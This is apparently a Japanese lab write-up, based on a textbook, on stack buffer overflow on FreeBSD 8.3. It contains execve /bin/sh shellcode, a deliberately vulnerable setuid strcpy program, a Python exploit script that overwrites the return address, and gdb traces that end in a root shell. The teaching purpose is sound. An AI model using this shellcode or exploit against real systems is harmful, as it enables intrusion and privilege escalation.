バッファオーバーフローを利用して任意のコードが実行される仕組み
参考書籍 : たのしいバイナリの歩き方
・仮想マシンを作成する
Index of /pub/FreeBSD-Archive/old-releases/i386/ISO-IMAGES/8.3/
より、FreeBSD-8.3-RELEASE-i386-dvd1.isoをダウンロードし、仮想マシンを作成する。
仮想マシンを作成後、pythonをインストールする。
https://www.python.org/ftp/python/2.7.8/Python-2.7.8.tar.xz
よりpython2.7.8をダウンロードし、以下のコマンドを実行する。
tar xvfzp Python-2.7.8.tar.xz cd Python-2.7.8 ./configure make make altinstall
その後再起動し、pythonコマンドが使用可能か確認する。
また、gccとgdb、objdumpがインストールされているかも確認する。
FreeBSD-8.3のカーネルにはASLRがないので、kernel.randomize_va_spaceを0にする必要はない。
・シェルコードを生成する。
ソースコードは、書籍のサンプルを利用する。
https://github.com/kenjiaiko/binarybook/tree/master/chap03/FreeBSD_8.3_x86
1, sample6.sをコンパイルする。
sample6.sはスタック上にexecveを呼び出す準備をした後、int 0x80でシステムコールを起こすプログラム
# gcc -Wall sample6.s -o sample6
2, objdumpでマシン語を確認する。
# objdump -d sample6 | grep \<main\>\: -A 16 08048404 <main>: 8048404: 31 c0 xor %eax,%eax 8048406: 50 push %eax 8048407: 89 e0 mov %esp,%eax 8048409: 83 e8 0c sub $0xc,%eax 804840c: 50 push %eax 804840d: 89 e3 mov %esp,%ebx 804840f: 68 2f 73 68 00 push $0x68732f 8048414: 68 2f 62 69 6e push $0x6e69622f 8048419: 89 e2 mov %esp,%edx 804841b: 31 c0 xor %eax,%eax 804841d: 50 push %eax 804841e: 53 push %ebx 804841f: 52 push %edx 8048420: 50 push %eax 8048421: b0 3b mov $0x3b,%al 8048423: cd 80 int $0x80
3, 出力されたマシン語が機能するか確認する。
sample7.c
unsigned char shellcode[] = { 0x31, 0xc0, // xor %eax, %eax 0x50, // push %eax 0x89, 0xe0, // mov %esp, %eax 0x83, 0xe8, 0x0c, // sub $0x0c, %eax 0x50, // push %eax 0x89, 0xe3, // mov %esp, %ebx 0x68, 0x2f, 0x73, 0x68, 0x00, // push $0x68732f 0x68, 0x2f, 0x62, 0x69, 0x6e, // push $0x6e69622f 0x89, 0xe2, // mov %esp, %edx 0x31, 0xc0, // xor %eax, %eax 0x50, // push %eax 0x53, // push %ebx 0x52, // push %edx 0x50, // push %eax 0xb0, 0x3b, // mov $0x3b, %al 0xcd, 0x80, // int $0x80 }; int main(void) { void (*p)(void); p = (void(*)())shellcode; p(); return 0; }
# gcc -Wall -fno-stack-protector -fno-asynchronous-unwind-tables -z execstack -g sample7.c -o sample7 # chmod 4755 sample7 $ ./sample7 # whoami root
シェルコードの実行が確認できた。
・脆弱性をもつプログラムにシェルコードを注入する。
以下の脆弱性のあるコードに、先程作成したシェルコードを注入する。
sample3.c
#include <stdio.h> #include <string.h> unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } int cpy(char *str) { char buff[64]; printf("0x%08lx", get_sp() + 0x10); getchar(); strcpy(buff, str); return 0; } int main(int argc, char *argv[]) { cpy(argv[1]); return 0; }
1, sample3.cをコンパイルする
# gcc -Wall -fno-stack-protector -fno-asynchronous-unwind-tables -z execstack sample3.c -o sample3 # chmod 4755 sample3
2, 引数にシェルコードを渡す。
渡すシェルコードはpythonで出力する。
exploit.py
#!/usr/local/bin/python import sys from struct import * if len(sys.argv) != 2: addr = 0x41414141 else: addr = int(sys.argv[1], 16) s = "" s += "\x31\xc0\x50\x89\xe0\x83\xe8\x10" # 8 s += "\x50\x89\xe3\x31\xc0\x50\x68\x2f" #16 s += "\x2f\x73\x68\x68\x2f\x62\x69\x6e" #24 # NULLバイト削除のため/bin//shとしている s += "\x89\xe2\x31\xc0\x50\x53\x52\x50" #32 s += "\xb0\x3b\xcd\x80\x90\x90\x90\x90" #40 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #48 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #56 s += "\x90\x90\x90\x90\x90\x90\x90\x90" #64 s += "\x90\x90\x90\x90"+pack('<L',addr) #72 sys.stdout.write(s)
$ ./sample3 `python2.7 exploit.py` 0xbfbfeb98 ; 1度目の実行でsample3にスタックポインタの値を表示させる。 Segmentation fault (core dumped)
$ ./sample3 `python2.7 exploit.py bfbfeb98` ; 2度目の実行でリターンアドレスをスタックの先頭に変更する。 0xbfbfeb98 # whoami root
・こうして攻撃者が用意したシェルコードは実行される
gdbでsample3のスタックを確認する。
$ gdb sample3 GNU gdb 6.1.1 [FreeBSD] ...省略... This GDB was configured as "i386-marcel-freebsd"... (gdb) disas cpy Dump of assembler code for function cpy: 0x08048560 <cpy+0>: push %ebp 0x08048561 <cpy+1>: mov %esp,%ebp 0x08048563 <cpy+3>: sub $0x48,%esp ...省略... 0x080485d0 <cpy+112>: mov %eax,(%esp) 0x080485d3 <cpy+115>: call 0x804840c <_init+116> 0x080485d8 <cpy+120>: mov $0x0,%eax 0x080485dd <cpy+125>: leave 0x080485de <cpy+126>: ret End of assembler dump. (gdb) b *0x080485de Breakpoint 1 at 0x80485de: file sample3.c, line 16. (gdb) b cpy Breakpoint 2 at 0x8048566: file sample3.c, line 12. (gdb) run `python2.7 -c 'print "A"*80'` Starting program: /root/work/sample3g `python2.7 -c 'print "A"*80'` Breakpoint 2, cpy (str=0xbfbfed64 'A' <repeats 80 times>) at sample3.c:12 12 printf("0x%08lx", get_sp() + 0x10); (gdb) x/8x $ebp ; %ebp, ret_addr, 引数が格納されている 0xbfbfeba8: 0xbfbfebb8 0x08048601 0xbfbfed64 0xbfbfebd0 0xbfbfebb8: 0xbfbfebe8 0x080484d7 0x00000000 0x00000000 (gdb) x/1s 0xbfbfed64 ; 引数の確認 0xbfbfed64: 'A' <repeats 80 times> (gdb) c Continuing. 0xbfbfeb68 Breakpoint 1, 0x080485de in cpy (gdb) x/8x $esp 0xbfbfebac: 0x41414141 0x41414141 0x41414141 0xbfbfeb00 ; ret_addrが0x41414141で上書きされている 0xbfbfebbc: 0x080484d7 0x00000000 0x00000000 0xbfbfebe8 (gdb) si 0x41414141 in ?? () ; 0x41414141に処理が移った (gdb) c Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
このことから、sample3のスタックは以下の図のようになっていることがわかる。
そのため、ret_addrの書き換えでシェルコードが実行される。